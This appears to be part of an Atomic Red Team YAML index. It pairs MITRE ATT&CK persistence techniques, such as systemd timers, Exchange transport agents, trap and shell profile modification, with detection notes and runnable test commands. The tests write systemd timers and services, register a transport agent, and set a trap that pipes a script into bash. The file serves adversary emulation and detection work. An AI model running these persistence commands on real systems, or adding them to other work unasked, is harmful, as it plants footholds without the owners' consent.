      - description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux
          AUR Package Repository. Retrieved April 23, 2019.
        url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
        source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018
      - description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public
          Arch package compromise. Retrieved April 23, 2019.
        url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
        source_name: gist Arch package compromise 10JUL2018
      - description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved
          April 23, 2019.
        url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
        source_name: acroread package compromised Arch Linux Mail 8JUL2018
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-10-14T15:20:00.754Z'
      created: '2020-10-12T17:50:31.584Z'
      x_mitre_platforms:
      - Linux
      x_mitre_contributors:
      - SarathKumar Rajendran, Trimble Inc
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_detection: |-
        Systemd timer unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>~/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.

        Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: <code>systemctl list-timers –all</code>. Analyze the contents of corresponding <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.

        Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)
      x_mitre_permissions_required:
      - User
      - root
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1053.006
    atomic_tests:
    - name: Create Systemd Service and Timer
      auto_generated_guid: f4983098-bb13-44fb-9b2c-46149961807b
      description: "This test creates Systemd service and timer then starts and enables
        the Systemd timer \n"
      supported_platforms:
      - linux
      input_arguments:
        path_to_systemd_service:
          description: Path to systemd service unit file
          type: Path
          default: "/etc/systemd/system/art-timer.service"
        path_to_systemd_timer:
          description: Path to service timer file
          type: Path
          default: "/etc/systemd/system/art-timer.timer"
        systemd_service_name:
          description: Name of systemd service
          type: String
          default: art-timer.service
        systemd_timer_name:
          description: Name of systemd service timer
          type: String
          default: art-timer.timer
      executor:
        command: |
          echo "[Unit]" > #{path_to_systemd_service}
          echo "Description=Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_service}
          echo "[Service]" >> #{path_to_systemd_service}
          echo "Type=simple" >> #{path_to_systemd_service}
          echo "ExecStart=/bin/touch /tmp/art-systemd-timer-marker" >> #{path_to_systemd_service}
          echo "[Install]" >> #{path_to_systemd_service}
          echo "WantedBy=multi-user.target" >> #{path_to_systemd_service}
          echo "[Unit]" > #{path_to_systemd_timer}
          echo "Description=Executes Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_timer}
          echo "Requires=#{systemd_service_name}" >> #{path_to_systemd_timer}
          echo "[Timer]" >> #{path_to_systemd_timer}
          echo "Unit=#{systemd_service_name}" >> #{path_to_systemd_timer}
          echo "OnCalendar=*-*-* *:*:00" >> #{path_to_systemd_timer}
          echo "[Install]" >> #{path_to_systemd_timer}
          echo "WantedBy=timers.target" >> #{path_to_systemd_timer}
          systemctl start #{systemd_timer_name}
          systemctl enable #{systemd_timer_name}
          systemctl daemon-reload
        cleanup_command: |
          systemctl stop #{systemd_timer_name}
          systemctl disable #{systemd_timer_name}
          rm #{path_to_systemd_service}
          rm #{path_to_systemd_timer}
          systemctl daemon-reload
        name: bash
    - name: Create a user level transient systemd service and timer
      auto_generated_guid: 3de33f5b-62e5-4e63-a2a0-6fd8808c80ec
      description: "Schedule a user level transient task (will not survive a reboot)
        without having to create the .timer or .service files by using the systemd-run
        command. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if systemd-run exists on the machine

'
        prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else
          exit 1; fi;

'
        get_prereq_command: 'echo "Install systemd on the machine."; exit 1;

'
      executor:
        elevation_required: false
        command: 'systemd-run --user --unit=Atomic-Red-Team --on-calendar ''*:0/1''
          /bin/sh -c ''echo "$(date) $(whoami)" >>/tmp/log''

'
        cleanup_command: |
          systemctl --user stop Atomic-Red-Team.service
          systemctl --user stop Atomic-Red-Team.timer
          rm /tmp/log
        name: sh
    - name: Create a system level transient systemd service and timer
      auto_generated_guid: d3eda496-1fc0-49e9-aff5-3bec5da9fa22
      description: "Schedule a system level transient task (will not survive a reboot)
        without having to create the .timer or .service files by using the systemd-run
        command. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if systemd-run exists on the machine

'
        prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else
          exit 1; fi;

'
        get_prereq_command: 'echo "Install systemd on the machine."; exit 1;

'
      executor:
        elevation_required: true
        command: 'systemd-run --unit=Atomic-Red-Team --on-calendar ''*:0/1'' /bin/sh
          -c ''echo "$(date) $(whoami)" >>/tmp/log''

'
        cleanup_command: |
          systemctl stop Atomic-Red-Team.service
          systemctl stop Atomic-Red-Team.timer
          rm /tmp/log
        name: sh
  T1542.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1542.005
        url: https://attack.mitre.org/techniques/T1542/005
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Secure Boot
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#35
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure
          Boot. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Image File Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Command History
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command
          History. Retrieved October 21, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Boot Information
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#26
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot
          Information. Retrieved October 21, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: TFTP Boot
      description: |-
        Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.

        Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)
      id: attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-10-22T16:35:53.806Z'
      created: '2020-10-20T00:06:56.180Z'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      - 'Firmware: Firmware Modification'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)

        Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Network
    atomic_tests: []
  T1547.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1547.003
        url: https://attack.mitre.org/techniques/T1547/003
      - url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top
        description: Microsoft. (2018, February 1). Windows Time Service (W32Time).
          Retrieved March 26, 2018.
        source_name: Microsoft W32Time Feb 2018
      - url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
        description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.
        source_name: Microsoft TimeProvider
      - url: https://github.com/scottlundgren/w32time
        description: Lundgren, S. (2017, October 28). w32time. Retrieved March 26,
          2018.
        source_name: Github W32Time Oct 2017
      - url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings
        description: Mathers, B. (2017, May 31). Windows Time Service Tools and Settings.
          Retrieved March 26, 2018.
        source_name: Microsoft W32Time May 2017
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Time Providers
      description: |-
        Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)

        Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)

        Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)
      id: attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-25T15:24:26.476Z'
      created: '2020-01-24T15:51:52.317Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      x_mitre_detection: |-
        Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code> as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)

        The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_contributors:
      - Scott Lundgren, @5twenty9, Carbon Black
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1205:
    technique:
      created: '2018-04-18T17:59:24.739Z'
      modified: '2021-02-17T14:23:49.495Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1205
        url: https://attack.mitre.org/techniques/T1205
      - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
          backdoor. Retrieved October 13, 2018.'
        source_name: Hartrell cd00r 2002
      - source_name: Cisco Synful Knock Evolution
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
      - source_name: FireEye - Synful Knock
        url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      - source_name: Bleeping Computer - Ryuk WoL
        url: https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
        description: Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan
          To Encrypt Offline Devices. Retrieved February 11, 2021.
      - source_name: AMD Magic Packet
        url: https://www.amd.com/system/files/TechDocs/20213.pdf
        description: AMD. (1995, November 1). Magic Packet Technical White Paper.
          Retrieved February 17, 2021.
      - source_name: GitLab WakeOnLAN
        url: https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN
        description: Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February
          17, 2021.
      description: |-
        Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

        Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

        The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

        On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.

        Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)
      name: Traffic Signaling
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--451a9977-d255-43c9-b431-66de80130c8c
      revoked: false
      x_mitre_is_subtechnique: false
      x_mitre_version: '2.2'
      x_mitre_defense_bypassed:
      - Defensive network service scanning
      x_mitre_detection: |-
        Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.

        The Wake-on-LAN magic packet consists of 6 bytes of <code>FF</code> followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)
      x_mitre_network_requirements: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_permissions_required:
      - User
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_contributors:
      - Josh Day, Gigamon
    atomic_tests: []
  T1505.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1505.002
        url: https://attack.mitre.org/techniques/T1505/002
      - source_name: Microsoft TransportAgent Jun 2016
        url: https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help
        description: Microsoft. (2016, June 1). Transport agents. Retrieved June 24,
          2019.
      - source_name: ESET LightNeuron May 2019
        url: https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf
        description: 'Faou, M. (2019, May). Turla LightNeuron: One email away from
          remote code execution. Retrieved June 24, 2019.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Transport Agent
      description: "Adversaries may abuse Microsoft transport agents to establish
        persistent access to systems. Microsoft Exchange transport agents can operate
        on email messages passing through the transport pipeline to perform various
        tasks such as filtering spam, filtering malicious attachments, journaling,
        or adding a corporate signature to the end of all outgoing emails.(Citation:
        Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport
        agents can be written by application developers and then compiled to .NET
        assemblies that are subsequently registered with the Exchange server. Transport
        agents will be invoked during a specified stage of email processing and carry
        out developer defined tasks. \n\nAdversaries may register a malicious transport
        agent to provide a persistence mechanism in Exchange Server that can be triggered
        by adversary-specified email events.(Citation: ESET LightNeuron May 2019)
        Though a malicious transport agent may be invoked for all emails passing through
        the Exchange transport pipeline, the agent can be configured to only carry
        out specific tasks in response to adversary defined criteria. For example,
        the transport agent may only carry out an action like copying in-transit attachments
        and saving them for later exfiltration if the recipient email address matches
        an entry on a list provided by the adversary. "
      id: attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-25T22:59:59.124Z'
      created: '2019-12-12T15:08:20.972Z'
      x_mitre_detection: Consider monitoring application logs for abnormal behavior
        that may indicate suspicious installation of application software components.
        Consider monitoring file locations associated with the installation of new
        application software components such as paths from which applications typically
        load such extensible components.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Application Log: Application Log Content'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      - root
      x_mitre_contributors:
      - ESET
      - " Christoffer Strömblad"
      x_mitre_platforms:
      - Linux
      - Windows
      identifier: T1505.002
    atomic_tests:
    - name: Install MS Exchange Transport Agent Persistence
      auto_generated_guid: 43e92449-ff60-46e9-83a3-1a38089df94d
      description: |
        Install a Microsoft Exchange Transport Agent for persistence. This requires execution from an Exchange Client Access Server and the creation of a DLL with specific exports. Seen in use by Turla.
        More details- https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help
      supported_platforms:
      - windows
      input_arguments:
        class_factory:
          description: Class factory of transport agent.
          type: String
          default: Microsoft.Exchange.Security.Interop.SecurityInteropAgentFactory
        dll_path:
          description: Path of DLL to use as transport agent.
          type: Path
          default: c:\program files\microsoft\Exchange Server\v15\bin\Microsoft.Exchange.Security.Interop.dll
        transport_agent_identity:
          description: Friendly name of transport agent once installed.
          type: String
          default: Security Interop Agent
      dependencies:
      - description: 'Microsoft Exchange SnapIn must be installed

'
        prereq_command: 'Get-TransportAgent -TransportService FrontEnd

'
        get_prereq_command: 'Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn

'
      executor:
        command: |
          Install-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path}
          Enable-TransportAgent #{transport_agent_identity}
          Get-TransportAgent | Format-List Name,Enabled
        cleanup_command: |
          if(Get-Command "Get-TransportAgent" -ErrorAction Ignore){
            Disable-TransportAgent #{transport_agent_identity}
            Uninstall-TransportAgent #{transport_agent_identity}
            Get-TransportAgent
          }
        name: powershell
        elevation_required: true
  T1546.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.005
        url: https://attack.mitre.org/techniques/T1546/005
      - source_name: Trap Manual
        url: https://ss64.com/bash/trap.html
        description: ss64. (n.d.). trap. Retrieved May 21, 2019.
      - source_name: Cyberciti Trap Statements
        url: https://bash.cyberciti.biz/guide/Trap_statement
        description: Cyberciti. (2016, March 29). Trap statement. Retrieved May 21,
          2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Trap
      description: |-
        Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.

        Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)
      id: attack-pattern--63220765-d418-44de-8fae-694b3912317d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-24T16:43:02.273Z'
      created: '2020-01-24T14:17:43.906Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: Trap commands must be registered for the shell or programs,
        so they appear in files. Monitoring files for suspicious or overly broad trap
        commands can narrow down suspicious behavior during an investigation. Monitor
        for suspicious processes executed through trap interrupts.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_platforms:
      - macOS
      - Linux
      identifier: T1546.005
    atomic_tests:
    - name: Trap
      auto_generated_guid: a74b2e07-5952-4c03-8b56-56274b076b61
      description: |
        After exiting the shell, the script will download and execute.
        After sending a keyboard interrupt (CTRL+C) the script will download and execute.
      supported_platforms:
      - macos
      - linux
      executor:
        command: |
          trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh | bash" EXIT
          exit
          trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh | bash" SIGINt
        name: sh
  T1546.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.004
        url: https://attack.mitre.org/techniques/T1546/004
      - source_name: intezer-kaiji-malware
        url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
        description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware
          turning to Golang. Retrieved December 17, 2020.'
      - source_name: bencane blog bashrc
        url: https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/
        description: Benjamin Cane. (2013, September 16). Understanding a little more
          about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.
      - source_name: anomali-rocke-tactics
        url: https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect
        description: Anomali Threat Research. (2019, October 15). Illicit Cryptomining
          Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved
          December 17, 2020.
      - source_name: Linux manual bash invocation
        url: https://wiki.archlinux.org/index.php/Bash#Invocation
        description: ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.
      - source_name: Tsunami
        url: https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
        description: Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware
          Targets DVRs, Forms Botnet. Retrieved December 17, 2020.
      - source_name: anomali-linux-rabbit
        url: https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat
        description: Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot
          Malware Out of a Hat. Retrieved December 17, 2020.
      - source_name: Magento
        url: https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html
        description: Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection
          Vector. Retrieved December 17, 2020.
      - source_name: ScriptingOSX zsh
        url: https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/
        description: 'Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration
          Files. Retrieved February 25, 2021.'
      - source_name: PersistentJXA_leopitt
        url: https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5
        description: Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell
          for macOS. Retrieved January 11, 2021.
      - source_name: code_persistence_zsh
        url: https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js
        description: Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js.
          Retrieved January 11, 2021.
      - source_name: ESF_filemonitor
        url: https://objective-see.com/blog/blog_0x48.html
        description: Patrick Wardle. (2019, September 17). Writing a File Monitor
          with Apple's Endpoint Security Framework. Retrieved December 17, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Unix Shell Configuration Modification
      description: "Adversaries may establish persistence through executing malicious
        commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s
        execute several configuration scripts at different points throughout the session
        based on events. For example, when a user opens a command-line interface or
        remotely logs in (such as via SSH) a login shell is initiated. The login shell
        executes scripts from the system (<code>/etc</code>) and the user’s home directory
        (<code>~/</code>) to configure the environment. All login shells on a system
        use /etc/profile when initiated. These configuration scripts run at the permission
        level of their directory and are often used to set environment variables,
        create aliases, and customize the user’s environment. When the shell exits
        or terminates, additional shell scripts are executed to ensure the shell exits
        appropriately. \n\nAdversaries may attempt to establish persistence by inserting
        commands into scripts automatically executed by shells. Using bash as an example,
        the default shell for most GNU/Linux systems, adversaries may add commands
        that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code>
        files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These
        files typically require root permissions to modify and are executed each time
        any shell on a system launches. For user level permissions, adversaries can
        insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>,
        or <code>~/.profile</code> which are sourced when a user opens a command-line
        interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation:
        Linux manual bash invocation) Since the system only executes the first existing
        file in the listed order, adversaries have used <code>~/.bash_profile</code>
        to ensure execution. Adversaries have also leveraged the <code>~/.bashrc</code>
        file which is additionally executed if the connection is established remotely
        or an additional interactive shell is opened, such as a new tab in the command-line
        interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation:
        Magento) Some malware targets the termination of a program to trigger execution,
        adversaries can use the <code>~/.bash_logout</code> file to execute malicious
        commands at the end of a session. \n\nFor macOS, the functionality of this
        technique is similar but may leverage zsh, the default shell for macOS 10.15+.
        When the Terminal.app is opened, the application launches a zsh login shell
        and a zsh interactive shell. The login shell configures the system environment
        using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>,
        and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation:
        code_persistence_zsh) The login shell then configures the user environment
        with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive
        shell uses the <code>~/.zshrc</code> to configure the user environment. Upon
        exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed.
        For legacy programs, macOS executes <code>/etc/bashrc</code> on startup."
      id: attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-03-08T15:22:54.089Z'
      created: '2020-01-24T14:13:45.936Z'
      x_mitre_contributors:
      - Robert Wilson
      - Tony Lambert, Red Canary
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: "While users may customize their shell profile files, there
        are only certain types of commands that typically appear in these files. Monitor
        for abnormal commands such as execution of unknown programs, opening network
